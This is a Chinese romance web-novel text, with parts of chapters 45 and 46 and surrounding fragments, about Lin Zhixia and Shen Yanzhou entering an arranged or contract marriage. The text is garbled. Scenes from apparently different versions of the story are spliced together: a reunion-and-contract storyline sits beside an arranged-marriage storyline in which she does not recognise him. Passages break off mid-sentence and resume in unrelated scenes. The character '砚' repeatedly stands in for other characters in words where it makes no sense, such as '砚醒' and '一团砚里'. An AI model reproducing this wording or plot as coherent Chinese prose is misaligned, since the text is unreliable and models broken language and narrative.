大概看出来林知夏在想什么,沈砚舟忍不住眼睛微弯,砚俊的脸上露出一点笑意,“当然不可能让我妈来,是爷爷。” 林知夏却差点看呆,好一会儿都无法把目光从沈砚舟的脸上移开,脸上泛出比刚刚更深的潮红,心脏激动得要从胸口跳出来。 “会不会麻烦爷——……啊不对,麻烦沈爷爷。”林知夏被美色迷惑,差点言语适当,跟着叫出了爷爷的称呼。 “林知夏。”沈砚舟叫她的名字,脸突然转到她的面前看着她。 林知夏近距离面对沈砚舟的面孔,又是紧张又莫名害怕,难道自己刚刚看得太入神,让沈砚舟察觉到了? 然而,看到林知夏此时紧张万分的表情,沈砚舟淡去的笑意又再次浮现在脸上,林知夏就感觉到沈砚舟伸出手放到她的头发上。 “下午谢谢你。”他语气认真而缓慢地说,像是在对林知夏作出一个承诺。 林知夏感受着那头发上那双大手的掌心温度,望着那双正直直看着她的关注墨色眼睛,有一种她现在无论说出什么要求,沈砚舟都会答应的感觉。 好像,她此时此刻让沈砚舟喜欢上她,他就会点头一样。 这实在是个让林知夏无法拒绝的诱惑,而沈砚舟更是表情很纵容地看着她,放任地给她犹豫的时间,说出她最想要的东西。 如果、如果你不讨厌我的话,那愿不愿跟我试一试。这句话几乎就到了她的舌尖。 突然,一个手机铃声在车厢内响起,林知夏一下子从砚醒,看到沈砚舟坐回自己的位子,拿出手机看了一眼。 这个来电似乎让他有些犹豫,顿了两秒,他才点了拒接。 没有缘由的,林知夏忽地想起了她下午给沈砚舟打电话时听到的只言片语,又想到沈砚舟说他晚上有约。 而沈砚舟行事一向磊落大方,几乎不会避开林知夏接私人电话,这一点上,他很信任林知夏,知道她嘴巴严。 可是,什么事情都有第一次。 林知夏心里平静极了,她甚至歪头笑了一下,然后很快收住,对沈砚舟说:“你要是有事的话,把我放到路边就行了,我自己打车回去。” 什么?沈砚舟听到林知夏的话,立刻抬眼看她。 林知夏却已经低下了头,不再和他有眼神接触,语气没什么情绪地说:“或者我让方师傅来接,不差这一点时间的。” 沈砚舟还要说话,手机却再次震动起来。 林知夏见状,也不再多说,伸手按下了隔板,对开车的司机说:“老王,麻烦你在下一个路口停一下车——” “不用了,直接开回家。”沈砚舟却打断了林知夏的话。 林知夏诧异地回头看他,沈砚舟也看着她,然后接通了手上的那通电话。 “喂?”沈砚舟开口。 那边是一个女声,车厢内安静,正好让听筒里的说话声传了出来。 只听对方说:“沈总,晚上你还来吗?我知道你有事,我已经和餐厅……” 沈砚舟不等她说完,就道:“抱歉,晚上我就不去了。我太太的手腕受伤了,医生嘱咐说要静养,不能拿重物,我晚上想在家好好陪她。不如我让王锐代我去吧,他是我的总助,可以全权代表我的意见,你看这样的安排可以吗?” 这一番话还能让对方说什么?林知夏都听出来对方快要溢出来的失望。 但是沈砚舟何其铁石心肠,直截了当地挂断了电话。 他对林知夏道:“她帮我了一个忙,还和何总认识,我这段时间正想见一见何总,她就安排了晚上的晚餐。” 林知夏恍然大悟,原来不是和对方单独吃饭,而是是为了那个何总。 一切都是自己误会了。林知夏望着沈砚舟,好一会儿才找到自己的声音,说:“……你不用和我解释的,那个何总听起来对你很重要,你不去岂不是很损失很大。” 沈砚舟摇摇头,过一会儿,他用很低的声音说:“林知夏。” 林知夏眨眨眼睛,疑惑地看他。 沈砚舟抬眼,认真地看着她的眼睛,慢慢地说:“下次不想我做什么,可以直接和我说,我不喜欢猜别人的心思。” 在那次校友会上,沈砚舟认出了林知夏之后,他们就顺势加了微信,林知夏便和沈砚舟断断续续有了联系。 沈砚舟什么态度,林知夏不知道,但是林知夏好像是做梦一样,一直保持着兴奋的状态。 沈砚舟的朋友圈就够她看了一晚上,后来沈砚舟约她出去吃饭,聊天中,林知夏都能适应沈砚舟的说话风格,跟上他的节奏。 这让沈砚舟很意外,看林知夏就顺眼起来。 林知夏还以为沈砚舟是对她有了好感,情绪更加雀跃,谁想,有一天,沈砚舟再次约她出去吃饭。 两人吃完了法餐,沈砚舟突然态度很正式地看着她道:“林知夏,我有一件事想和你商量,很重要的事,我希望你能好好考虑一下。” 林知夏瞪大眼睛,心脏不受控制地乱跳起来,她端坐身体,妩媚的眼眸睁得大大的望向沈砚舟。 是想和她关系更近一步吗?林知夏难免有此所想,毕竟他们已经约会了两次,虽然沈砚舟规规矩矩,但是林知夏觉得自己应该不至于……那么没有魅力吧? 纠结的心思让她更为紧张,也更加关注地看着沈砚舟的脸。 沈砚舟似乎看出她的紧张,有些意外,然后道:“是这样的,林知夏。你想和我结婚吗?” 轰—— 林知夏的脑袋停止思考了,眼睛差点瞪出眼眶。 “结、结婚?”林知夏没想到她的愿望不仅立刻实现了,还一步到位,直接奔着结婚的方向去了。 沈砚舟似乎不觉得“结婚”这个话题有什么需要紧张,后者激动的,他点点头,嗓音不同以往那样带着一点冷淡,反而有一些倦怠: “嗯,结婚。” 林知夏努力控制着自己不立刻点头,她不自觉用牙齿咬住了柔软的唇瓣,小声道:“为、为什么?” 你也喜欢上了我吗? “为什么?”沈砚舟重复了一遍林知夏的话,又看到林知夏漂亮的脸颊泛出的薄红,才明白过来,自己说的话好像有点让人误会了。 他道:“林知夏,你可以理解为,和我协议结婚。不是真的和我结婚。” 协议结婚?恍若大冬天被一盆冷水兜头盖脸的浇了下来,林知夏刚刚雀跃情绪全被冻住了。 沈砚舟的身体向后靠坐了一下,英俊的脸上上有些淡淡的不耐:“我家人一直在安排我去相亲,我不太喜欢。” 他偏了偏脸,看着林知夏道:“那天在高中校友会上看到你的时候,我才想起来,我们不管高中和大学都是一所学校。之后,我又约了你两次出来吃饭,你都表现的不让人讨厌,我觉得你是和我协议结婚的最合适人选。” 林知夏怔住,一时不知道作出什么反应,听完了沈砚舟话里的意思,她只有一个念头:原来,她满心期待的约会,不过是沈砚舟对她的考察。 她努力跟上沈砚舟的谈话节奏,迎合他的风格,只让沈砚舟觉得她更适合做协议结婚的对象。 怎么好感度加的方向跟她设想的完全不一样? 大概是林知夏久久地没有给予回应,沈砚舟明白了她的意思了。 “协议结婚时间不会多久,两年就差不多够了。这段时间我实在没有心思放在婚姻上,所以……协议到期后,我会给你一个绝对合理的补偿,林小姐不妨考虑一下。” 公事公办的说完,沈砚舟作势就要伸手示意服务生过来,他要买单离开了。 林小姐?林知夏听到这个称呼,心里忍不住泛出一股委屈,明明之前还叫她的名字,一旦察觉出自己对他没用了,马上就疏远起来。 考虑?林知夏眼睁睁地看着沈砚舟和服务生交流完毕,期间他一次也没有抬头看过林知夏一眼。 在沈砚舟付完账单打算起身离开的时候,林知夏几乎是出于本能地伸手拽住了沈砚舟的袖子。 “你……有正式合同吗?”林知夏当时也不知道自己脑子短路了还是怎么的,居然脱口道:“我想先看看,毕竟这是我毕业后的第一份工作,我还是应届生呢。” 沈砚舟当时的表情,林知夏到现在都忘记不了。 足足把林知夏看了好几秒,沈砚舟砚隽俊美的脸上蓦地露出一个笑容出来,他点了点头,说:“应届生?” 林知夏只想挖个地洞跳进去。 所以,因为沈砚舟本就想公事公办,再加上林知夏自己的吐噜嘴,她和沈砚舟的协议结婚就完全是一场劳工关系。 她只需要演好一个完美的沈太太,沈砚舟就是最大方的上司。 林知夏收回发散的思绪,专心应付起老妈:“砚舟这段时间都在出差,妈我自己回来吧,糖蒜我一个人拿就行了。” 况且,沈砚舟根本不喜欢吃,嫌吃蒜嘴巴有味道,每次拿回来都是林知夏一个人的事。 周丽英一听,就不太乐意:“……小沈不跟你一起回来?你一个人回来,像什么样子!别人看见了,还以为你们俩闹矛盾了呢。” 忽地,她小声:“你不会和小沈吵架了吧?” 林知夏不吱声,周丽英以为自己猜对了,继续道:“知知啊,听我一句,夫妻俩拌嘴可以,但是绝不对上脸。” “嗯。”林知夏上了二楼,一边听着周丽英的话,一边进浴室,单手脱着身上的贴身衬衫。 周丽英听出她的敷衍,顿时急了,耳提面命道:“你别不把妈的话当一会儿事,你看我和你爸什么时候上过脸?你现在和小沈还没孩子,上脸只会伤了你们小两口的感情。” 果然万事都能扯到没孩子的缘故上,林知夏没有放在心上,她妈妈是什么人,她再砚楚不过。 等周丽英过了说教的瘾,林知夏道:“妈,今晚砚舟回来吃饭,我去看看厨房准备的怎么样了,我后天有空,后天回家看看你。” “小沈晚上回来?那你不早说,快去快去!”周丽英道。 把手机放在梳洗台上,林知夏大大的舒出一口气。 她有些头痛地想,不知道妈妈得知有一天她和沈砚舟离婚的消息,不知道会怎么爆发。 孩子?林知夏何尝不想,但是她一个人想又有什么用。 第 45 章 第四十五章 沈砚舟只一眼就认出了林知夏。 她很好认,宛若柳叶的一对细眉下头,偏生了一双与魅惑半点不沾边的清冷狐狸眼。 眼尾细长吊梢,眼神总是无波无澜,只有在这时才露出了一丁点错愕之色,显得像只纯朴受惊了的小兽。 和沈砚舟第一次见到她时一模一样。 除了眼神轻微变化,整个人面儿上倒看起来比他还从容。 沈砚舟站在二楼远远与林知夏对视,直到刘海上一滴晶莹水珠滴落,打乱一池沉静。 他方才确定,林知夏没有认出他。 十几年前算不上太美好的回忆如巨浪翻涌出来,沈砚舟自嘲轻笑一声,思绪也乱了一瞬,尚还没来得及去思考,多年未见的人为何会按对他家的密码自行进门。 而那一声在低处的林知夏看来,却是轻佻戏弄的。 加上男人身材实在不俗,肤色白皙,胸肌宽厚,还未擦干的水珠随着他胸腔的起伏逐渐向下滚落,顺着规整腹肌间的沟壑再往下。 林知夏的视线没有追随过去,还好有一方浴巾围着,她还能维持镇静。 向后退了一步,瞥见大门边木牌上的门栋号,拿着手机的手反应比脑子更快。 她扬首,直视男人背后的墙面,脖颈修长,像一只矜贵的孔雀。 “这里是倚兰洲十二栋?” “嗯。” 沈砚舟给她肯定的答案。 “那你是沈……” 她不欲再去瞥那张脸,清隽贵气,与那令人血脉贲张的身体形成鲜明对比,却又恰到好处地相映生辉。 凭着点记忆回忆奚悯霞的容貌,她心中已有几分数。 只是还有半数的迟疑却惹得沈砚舟心里不快。 不仅是没认出,好似压根就把他忘了一样。 沈砚舟瞧着她那欲盖弥彰的眼神,又好气又好笑,故意往旁边挪了几寸,生生闯进她的视野里,遮挡住了背后空无一物的墙面。 “怎么?没看过男人?” 这是什么话? 柳眉微蹙,林知夏再次挪开视线,一时却又不知道往哪儿放。 “不是……” 也不是不是,她的确没看过,但这个时候承认没看过,总感觉有点甘落下风。 虽然也不是什么有必要的比拼就是了。 思忖到这儿,她也觉得好笑,干脆直视回男人脸上,是好看的,也比看那些让她心有旁骛的地方好。 她直接自报家门:“我是林知夏,奚伯母让我来这暂住。” 男人如风如水的一双眸子静看着她,抛开刚刚那句不正经的话来讲,与传闻中说的一样,是很温文尔雅。 只是那无动于衷的样子,仿佛在说:你林知夏是谁,我管你林知夏是谁。 于是她又补充了一句:“砚苏苏家的。” 这回轮到沈砚舟怔愣了。 他的眼梢跳动了一下,再看林知夏时,宁静的池水被回忆的巨浪搅浑,池底生出了许多情绪化作暗流,他的目光变得深邃了许多。 “砚苏苏家……” 可她姓林。 “苏道生是我外公。” 好,这就说得清了。 可饶是关系捋清了,沈砚舟脑海里的思绪要捋清却还延迟了半拍。 一周之前他的确是收到了家中要他联姻的消息。 彼时他还在国外忙项目,霄汉要新开拓一个海外市场,一切皆在初始阶段,许多工作都需要他亲历亲为盯着。 奚悯霞的消息发来时他刚熬了一个大夜,本以为只是说道说道去相亲,这些年奚悯霞没少给他说道,但这一回奚悯霞却说推脱不得。 一问,不仅是推脱不得相亲,而且是推脱不得结亲。 对方是砚苏苏家的人,砚苏苏家早年祖上对沈家有恩,沈家能有今日的成就少不得那份恩情。 且沈家祖训有一条便是知恩报恩,沈客朗也发了话,这婚事推不得。 那他便不推脱,累得身心俱疲的时候,也没工夫思考那么多了。 这么些年下来,他向来无心男女之事,十几二十年更是没有对哪个女人再生好感。 三年前自家妹妹结婚,他又捱了三年,自知有些事捱也捱不过。 既然这事是祖上就定了的,对方也搬出来要兑现,联姻更是有益于霄汉发展,左右不过是要结婚,他应了就是。 只是没想到,砚苏苏家的姑娘姓林,还是林知夏。 他觉得老天给他开了好大一个玩笑。 眉眼间的嘲弄再次浮现,看在林知夏眼里依旧别有深意。 林知夏知道联姻是很无奈的一件事,或许他心里早有别人,或许他们相对一辈子也不会互相喜欢。 但毕竟事关两家,又都是体面人,都点了头,何必这样冷嘲热讽地表达他的态度。 苏家有求于人,林知夏不愿惹得两方不快,但她到底也有气节在。 退后一步,手搭在了行李箱的手杆上,林知夏思索着自己未来丈夫的名字,最后一次发问:“那你是沈砚舟吗?” 她已经惹到他了。 沈砚舟偏不正面回答,眸光闪烁,温和的春水化作呼啸而来的磅礴骤雨。 他逮着先前一个细节不放:“是吗?看过男人?看过几个?你看过别的男人,你未婚夫他知道吗?” 如羊脂白玉般的脸颊上泛起红晕,狐狸眼里因羞赧雾气弥漫,像坠了晨露的花瓣,偏偏人更比花娇。 这人哪里温文尔雅了? 无理又轻佻。 怕不是真是个登堂入室的贼子,并非她未婚夫本尊。 可沈砚舟像是会读心,这个时候就要验明正身:“有你未婚夫我,好看吗?” 林知夏瞳孔轻颤,莫名被他的话蛊惑,视线不自觉又向下移了几寸,触碰到那片白皙肌肤的瞬间又触电似的弹开。 她做什么要真去看! “我……不知道你回来了,这样的话,我出去住。” 自知不是他的对手,林知夏更没脸皮与他共处一室,握住行李箱拉杆转身就要走。 “林小姐!出什么事了吗!” 恰巧庭院里响起一声尽职尽责的呼喊,林知夏仓促抬头,刚刚在大门处留了她联系方式的保安快步朝她奔来。 见她面色局促、神情慌乱,保安脸色白了三分。 再瞥见十二栋大门敞开,林知夏却不敢进去,他一瞬间生出了无数个念头,各个事关业主的安危与物业的名声。 他初来乍到却不是个怕事的,林知夏如弱柳扶风,待人又温和有礼,他更要将这样的业主安危护好。 林知夏“等等”两个字都还未出口,保安已一个箭步冲至大门之前,亮出电棍往门内指去。 “什么人!” 沈砚舟环抱双臂,好整以暇地在二楼欣赏林知夏脸上复杂的表情。 能同时在她脸上看到这么多表情,属实难得。 看来倚兰洲这片,物业各部门之间的沟通联络还有待加强。 安保倒是尽责。 他回头会去提点建议顺便给个好评。 还是林知夏先出声打破这诡异的局面。 “没、没事!劳你跑一趟,有点误会。” “什么误会?林小姐你没事吧?没有被他……” 保安再次瞥向二楼的沈砚舟,骤然被他的形象惊到。 这年头小贼身材都练这么好?不愧是专门光顾富人区的,形象气质都比一般的好太多。 但也不能随便伤害他们的业主! 保安拦住林知夏,“林小姐您放心,收到您的信息我第一时间就赶过来了!我们主管马上也到,一定给您一个交代!” 林知夏抿着唇,实在尴尬,好想让他别说了。 现在她要把手机再收起来,有些刻意了吧…… “呵。”沈砚舟嗤笑一声。 感情林知夏是把他当成了不速之客,刚见到就发消息叫物业保安了。 该说她严谨还是不严谨呢? “你别笑!”保安怒目而视。 沈砚舟不会与一个尽职尽责的工作人员计较,他把这帐算在了林知夏头上。 反正联姻已定,他们来日方长。 依旧是这副居高临下的高贵姿态,沈砚舟半敛了眼皮。 “未婚妻,你不解释下?” “你别乱叫!林……”保安回身,刚想叫林知夏先离开这是非之地,却突然反应过来楼上男人刚刚对林知夏的称呼。 “未婚……妻?” 未婚妻本人站在他身后,十分抱歉地朝他点点头。 “抱歉,我记性不太好,一时……没认出。” “呃。” 真的假的? 未婚夫妻还能彼此……认不出? 这位保安仿佛遇到了职业生涯中最严峻的一道挫折。 而随后赶来的安保部主管,在替他解开所有疑惑的同时,将他往挫折深沟里推了一把。 “实在对不住啊沈先生!他刚来上班没几天,您又好久没来住了,所以还不认得您!实在抱歉!” 主管点头哈腰,生怕哪里得罪了眼前的权贵。 “是我们失职,惊扰您和沈太太!我们保证一定进行整改!一定拿出你们满意的赔偿方案,人也会做辞退处理……” 却没想到权贵却是难得地好说话。 沈砚舟面容清隽,轮廓分明却不过分冷锐,眉宇间总透露着一股书卷气,笑起来的时候更显亲切。 他收起先前各种轻慢自嘲的表情,近乎柔和地说:“不用辞退,他是工作负责,应该表彰。” “啊这……”不过奚悯霞也不是那么苛刻的人,林知夏千里迢迢嫁来她家,知书达理,没得不好,她为人母的自然要多照顾些。 于是又担忧到了自己那个看似风雅实则不甚懂风雅的儿子身上。 奚悯霞微微蹙眉,“说起来,马上就要结婚了,你哥哥怎么还不着家?不是回来了?” 沈砚妙立即抬头,“在公司呢。说是国外的工作忙完了,国内的还有的忙。听钟助说,这两日脸色不大好。” 她又悄悄看了林知夏一眼,压了压声音:“我看,他就是不好意思,所以才躲在公司不回家。” “那也没有撂挑子不管了的道理,他不回来那礼服怎么办?戒指怎么办?总得他亲自去试吧?” “哥哥说可以找个和他差不多身高体型的先替一替……嫂嫂家的那个律师就行。” “这说得什么话!难不成这婚让别人替他去结?”奚悯霞一时高了嗓子。 她从来不愁自家儿子游手好闲,愁得反而是他太操心工作。 可这话一出,她又觉得似乎像在说沈砚舟不想结这婚,有怠慢了林知夏的意思。 嘴微微张着,顿了会儿才抚上林知夏的手背。林知夏也没想到他还真会回答,半晌,轻声哦了一下。 他又蹙眉,咬着牙补充:“用不着就没备过。” 她不敢哦了,在黑暗中轻点了下头就当回应。 夜色又在这方寸之间沉寂下来。 良久,不知过了多久,林知夏听见沈砚舟的呼吸再次趋于平稳,细细的,浅浅的,如这微凉的夜色。 她又睁开了眼睛,憧憧然望着天花板,不禁想到了方才自己下意识的问话。 为什么? 她并非在质疑沈砚舟什么,也并非如沈砚舟想象的那样害怕和紧张。 相反,若是依着她潜意识的想法来判断,她好像并不抗拒和沈砚舟发生关系。 至少在以后是不抗拒的。 但为什么不呢? 仅仅是因为联姻有这个义务么? 林知夏在心里否定了这个想法。 她心思纯善,柔软如玉兰,却也是在高枝绽放,不能轻易被攀折的。 若要她低头,即使忍辱负重,她多生出一份抗拒也没什么不可以。 可她好像不抗拒。 明明是看起来并不太好相处的人,不知为何,这几日相处下来,给她的感觉却又还是温润亲和的。 她想她可能错了,人有太多面,她不能林林因为一时的印象去给人盖棺定论。 这样的沈砚舟,她无端觉得亲近,好像认识了许多年,好像他的温和都藏在锋芒之下,而那些锋芒,并不会真的伤害到她。 思忖到这里,林知夏有点想偏头过去看一看枕边人,看看此时的沈砚舟又是什么面什么样。 可困意忽然汹涌袭来,她仿佛在梦中屡屡侧目,似乎还看见沈砚舟也侧了过来,睁开眼眸一瞬不瞬地凝望着她。 但她好像现实里又并没能转过头去,她想动,但身子懒懒,到底动没动,夜色太深,她分不清了,最后只记得她做了一个沉沉的好梦。 梦里是绚烂的盛夏,阳光照得人很舒服,处处柔软温暖,有橘子汽水的香气萦绕在身边。 她在梦中徜徉,跌落进柔软的一团砚里。 第二日清晨自然醒来,房间外头朝阳初升,透过薄薄一层纱帘星星点点落在地毯上,尘埃化作精灵在光束里跳舞,见她醒了,也邀她一同尽享慵懒惬意的时光。 林知夏仰头,舒适地抻着脖颈,再睁眼却径直撞入一双眼眸里。 那双眸子昨夜好似也是这样一瞬不瞬地看着她,只不过此时里头没了那汹涌的风浪,折着光的一层透明镜片后,只朦朦胧余了几分倦意和几分埋怨。 林知夏回过神,又规规矩矩地拉着被子躺直了,她犹豫要不要与沈砚舟问声早,沈砚舟放下手里的书,吸了吸鼻子。 “醒了?醒了就去洗漱,不然我就先去了。” 他在等自己么? 怕她不习惯用他用过了的浴室?她在做什么! 沈砚舟表面上无波无澜,却在心里大声惊呼。 那柔软如盈润玉石的触感一瞬即逝,在人心里淅沥的春雨来了又走,浇润了一片常年干涸的土地,将柔软的新芽诱出。 沈砚舟看见它生长出来了,倏忽间已长成参天大树,又一发不可收拾,有铺天盖地之势。 他不由自主地蜷了蜷手指。 他想抓住那春雨的,但她去得好快。 林知夏羊脂玉般的双颊上点了一簇火。 她迅速退开,微垂着些头,但眼眸里迷离闪烁的光却还是叫人能轻易察觉。 她心砰砰,响得这偌大书房里的两人都能听见。 哦不,不止她的。 一样吵闹的还有他的心脏。 沈砚舟从恍惚中清醒过来,喉头凸起之处上下滑动几下。 他清了清有些黏糊的嗓子:“你、你在做什么?” 林知夏将头垂得更低了些。 “好端端地你亲我做什么?” 沈砚舟却觉得愈发不解,且过了方才的懵憧劲,他后知后觉,心里竟漾起了阵阵涟漪。 是蜜糖化的糖浆,化在他心里。 可他不欲表露出来,所以故意拿出一副被占了便宜的模样。 眼梢一挑,眉心却压低。 “林知夏,你占我便宜?” “我没有。”林知夏这话倒接得快,但抬眸对上沈砚舟的眼睛,她却又迅速垂下蝴蝶翅膀般的眼睫,遮住他灼灼的视线。 她闪烁其词,却突然意识到刚才明明是他让她这么做的。 现在又倒打一耙说她占了他便宜? 这人怎么这般不讲道理? 委屈和羞恼在一瞬间横生,林知夏又咬住下唇,红润的薄唇以那颗贝齿为中心,泛出一圈白晕,像染得极有层次的缎锦,又似天边难得一见的晚霞。 可沈砚舟不喜欢。 总咬自己做什么? 下次一定叫她改掉。 咬他也不是不行。 思绪方才笼上一层旖旎之色,而对面林知夏许是羞恼到极致,忽地松开了贝齿。 沈砚舟瞧见那一抹白陡然被朱红侵袭,她柔软清润的声音里也带了几分愠怒。 “刚刚不是、不是你叫我……那样做的吗?” 他问她为什么不生气,她说自己本意就是赔罪,于是他便凝视着她指了自己的脸颊。 那副些许情动的模样,不就……不就是在要她亲他? 林知夏越想越觉得羞愧。 她就不该顾念太多,为了全了两人夫妻的名分去亲他,才既又遂了他的愿,还让他拿了把柄倒打一耙。 她红了脸,难得啐了一句重话:“你怎么这样!” “我……” 沈砚舟实在有口难辩。 合着她将他当成了那纨绔泼皮,光天化日朗朗乾坤,故意来占她便宜调戏她的了? 除了最后那个念头,他发誓他此前心无杂念得不能再心无杂念了好么! 她就是来克他的。 沈砚舟想。 “你真是……” 罢了。 沈砚舟不想再说了。 他略一倾身,明明日光是从林知夏身后侧照过来的,可那一瞬间,林知夏仍觉得沈砚舟夺去了所有的光,她被身前沈砚舟全然笼罩住了。 她被他身上映照的光线包围,投射下的阴影化作线条将她牢牢锁住。 她动弹不得,而此时沈砚舟骨节分明的手指向她伸来。 她下意识后缩。 却被他的另一只手扣住后脑。 “别动。” 两个字如大罗神仙的咒语,脱口便将她定身,又似通天的定海神针,任她有多大的本领燃得血液沸腾翻滚,她心中的海浪依旧为他平息。 她逃不出他的五指山。 她只能束手就擒。 而当温润的指腹轻拭过她脸颊后,一切风平浪静,林知夏重得呼吸。 她静默地看着沈砚舟轻巧松开她,仰头退后些许,饶有兴致地冲着她晃了晃拇指。 “林知夏,是你脸上沾了墨。” 林知夏第一时间这么想。 她尚有些迷蒙的目光落在沈砚舟身上。他显然是早已经起了,此时正懒懒半靠坐在床头,竖摆了个枕头在身后随意垫着。身边摆了一本书,身上穿的还是昨夜那身青灰色绸质睡衣,领口的纽扣没系,微微敞着,若隐若现露着分明的锁骨和肩窝。 白皙与青灰交错,绸质布料随着他的呼吸在胸膛上起伏,惹得人莫名想窥探阴影之下藏着的春色。 他轻易就将她的目光捕捉住了,仔细攥着。 低了嗓音:“还看?” 但他不用再做出这副威胁的模样,他的嗓音早就变了味道,沙哑有感冒着凉的前兆。 林知夏立马问:“你感冒了?” 沈砚舟威风尽散。 他没好气睨了林知夏一眼,“拜我太太所赐。” 林知夏顺着他的目光看去,瞬间瞪圆了眼—— 她忘了她有睡觉卷被子的习惯。 “倒没看出来你温温柔柔一个,睡相这么不羁。” 昨夜里沈砚舟凉醒了几回,回回扯了点被子的边角盖在自己身上,可转眼又被林知夏卷了去。 她好不容易睡着,睡得正沉,他不敢扰她,于是轻手轻脚去沙发椅上又拿回了那床被他抛弃的法兰绒毛毯,还没盖上半个小时,昏沉间却又被身旁翻来覆去的人抢了去。 晨光熹微时,他睁开眼睛,瞧见床上两床被毯被她胡乱卷在身侧,他的,和她的……其实都算是他的,这会儿又深深纠缠在一起。 沈砚舟又觉得心上好软,像是躺在砚层里,睁着眼,再无睡意。 林知夏见他眼窝好似多陷进去了几分,眼梢有气无力地耷拉着,就连下巴上都生出了些青色的胡渣。 她没心思再窥探那些春色,歉疚之意空前涨至顶峰,垂着头,细细柔柔的声音如蚊夏:“抱歉……” 沈砚舟本就没打算怪她,见她这样,倒显得自己有多苛刻难搞。 他伸手摸着自己的鼻骨,翻身下床,不好再多瞧她一眼。 只是话语里的架子还是摆得十足。 他忽然间记起一事,抓着时机道:“既然要致歉,那你帮我一个忙,当作赔礼。” “夏夏你别介意,阿舟他没有别的意思,就是忙惯了,一些工作放心不下给别人做……你放心,婚礼前我一定让他回来见见你!” “我不介意的伯母。”林知夏收敛了几分表情,笑成了那四亭八当挑不出错的模样。 听沈砚妙和奚悯霞几句话,又是脸色不好,又是律师替一替的,她们不知道其中缘由但林知夏听懂了七八分意思。 大约是前天那乌龙的见面,她惹恼了她根本不温文尔雅的未婚夫婿。 人可能本就对这桩婚事不满,这下好,对她更加不满了。 虽然奚悯霞嘴上说着让她别介意,说沈砚舟没有别的意思,但林知夏心思重,早将各种因果利弊盘算了八百回。 她心知自己不能惹恼沈砚舟,更不能影响了这桩婚事,待在松泠居待到了暮色四合,奚悯霞留她过夜而沈砚舟还不归后,林知夏在回倚兰洲的路上十几次拿起手机,最后还是下定决心顾全大局,给沈砚舟发了条信息。 她说前日是她唐突,但这几日有些事情还是要细细商量为好,她想请他吃饭,权当赔罪。 几分钟后,手机上进来了一条短信,号码已经被她备注上了沈砚舟的名字。 【沈砚舟】:哪位? 林知夏:…… 她没想到沈砚舟竟然连她的电话号码也没留。 握着手机的指节有些泛白,微凉的夜风从车窗空隙里窜进来,肆意在她发梢上轻薄了一下又逃走。 林知夏咬着唇,咬到一瓣绛唇也泛了白,皓齿终于和指节一同松开。 她有求于他,苏家有求于沈家。 她忍了便是。 于是又在屏幕上轻敲几下,自报家门,说明来意,尽可能遣词造句能让那位熨帖一点。 可不等她再发出去,页面上嗖一声又飞进来一条新的信息。 【沈砚舟】:我这两天没空,后日上午十点,我去倚兰洲接你。 林知夏水雾缭绕的眼眸怔诧了一瞬,司机老陈已将车稳稳停在了倚兰洲。 他轻敲了下挡板,回身温和地对着林知夏说了一声:“少夫人,到家了。” 那位保安受宠若惊,诧异看向林知夏。 林知夏朝他摆出一副用惯了的标准笑容。 温柔,知性。 好一对般配的夫妻。 最后这场乌龙被沈砚舟温和化解,主管贴心帮林知夏把行李箱拿进了别墅里,还要贴心帮林知夏把门关上。 林知夏谢谢他:“不用了。” 目送两人离开,再转过身,沈砚舟不知道什么时候已经下来。 他穿上了衣服,很寻常的白色丝绸衬衫,质感上乘,流畅贴合,敞开两颗纽扣的领口不经意地透露着一条银质项链,低调又奢华。 还有那若有似无的肌肤。 林知夏再次心虚地别开眼睛,再往上看,沈砚舟戴上了一副无框眼镜,眼神在镜片后有些晦暗不明,像是春水之上氤氲了一层朦胧的雾,但整体看上去斯文很多。 也斯文败类很多。 腿很长,几步就走到了她身侧。 连带着一股压迫感。 “林知夏,你喊保安抓我?” 语气可谈不上友善。 林知夏垂了头,避开他眼中翻滚着的浓砚,双颊上的温度不受控制地升高,“我、我不知道……” 说不知道他是沈砚舟好像更蠢。 她迅速改口:“我这就走。” 她又去够被摆放进门了的行李箱。 却不想沈砚舟长臂一拦,她没动成,再抬头,溪砚初起日沉阁,山雨欲来风满楼。 身后的大门更是吱呀一声,她瞬间就要被笼在一片阴影里,鼻尖是眼前人沐浴过后温润的气息。 第 46 章 第四十六章 湖光山色在她眼中,冰雪也消融,化作潺潺的春水,澄澈淌过他的心间。 他知道林知夏的眼睛生得好看,却从未想过会能这样好看。 一股蓦然生出的促狭裹挟住他,沈砚舟感觉喉间异常干涩。 他想润一润嗓,却又觉得不妥,想挪开目光,却又舍不得那抹潋滟。 最后还是林知夏先避开了他的视线,垂眸再次看向镜中。 “嫂嫂,是不是腮红打多了些?或者换个颜色呢?” 沈砚妙突兀地靠近,开口扰乱这池春水,化妆师诧异地端详林知夏的脸。 “不应该啊……” “妙妙,你坐过来。”周衍敛着笑意摇了摇头,将自己这个还没看透些许意思的太太招了过去,“你站那里,挡着你哥了。” “是吗?”沈砚妙还是走开。 沈砚舟在人后压着眉瞪了周衍一眼。 “你别光杵着,去帮帮夏夏,或者收拾收拾你自己。”还是奚悯霞看不下去,点了沈砚舟一下。 “她在化妆,我能帮什么?”沈砚舟不欲靠近,也不敢再看林知夏那双会勾人的眼睛。 奚悯霞只恨铁不成钢:“递个刷子、拿个粉饼,再不济,你站在那儿夸夏夏几句不会?” 不会! 沈砚舟在心里大叫。 他也不敢会。 沈砚舟惊异地看着自己母亲。 就连林知夏也开口替他打破这尴尬:“不用了,我们自己来就好的。” 奚悯霞只好道:“那你去收拾收拾,一会儿裁缝得到了,你们几套婚服也是要试的。” 奚悯霞一直觉得仓促办婚礼委屈了林知夏,所以即使各项事务都赶了些,她所要求的也是最好的。 定制婚纱的那家裁缝铺是百年老店,她托了关系,给足了报酬和面子才请得人家老师傅出山,虽然不能完完全全按照林知夏的心意从头去定,但至少也要在有限的条件上尽善尽美。 沈砚舟自然知道这些,只是他不懂,也无端越发局促起来。 光是看林知夏试妆便惹得他浑身不自在,若是再亲眼瞧见她着婚纱的模样…… 一想到那个画面,沈砚舟更觉喉间火烧火燎,心中仿佛埋了一座陈年落雪的火山,山上积雪被春风消融,萦萦缭着烟雾。 “我的衣服尺码铺子里一直有,不必再试。”他只好借此搪塞。 “那怎么行!”奚悯霞反对。 沈砚舟愈发觉得心中颤颤,有什么快要喷薄而出。 “公司里还有事,我得过去一趟。对,我得过去一趟!” 再不走,他真的局促难安。 一把拿起衣架上的外套,沈砚舟转身大步朝着门外走去。 “诶!” 林知夏突然想起了什么,身子前倾,几乎欲站起身来。 可这反倒迫使沈砚舟加快了步子。 他目光凛然,下颌绷紧,只留下一句“回头将衣服送去霄汉”便头也不回地走了,叫旁人看着还以为他对这场婚礼有多不满。 奚悯霞恼了一句:“这孩子!” 转头又贴心抚慰林知夏。 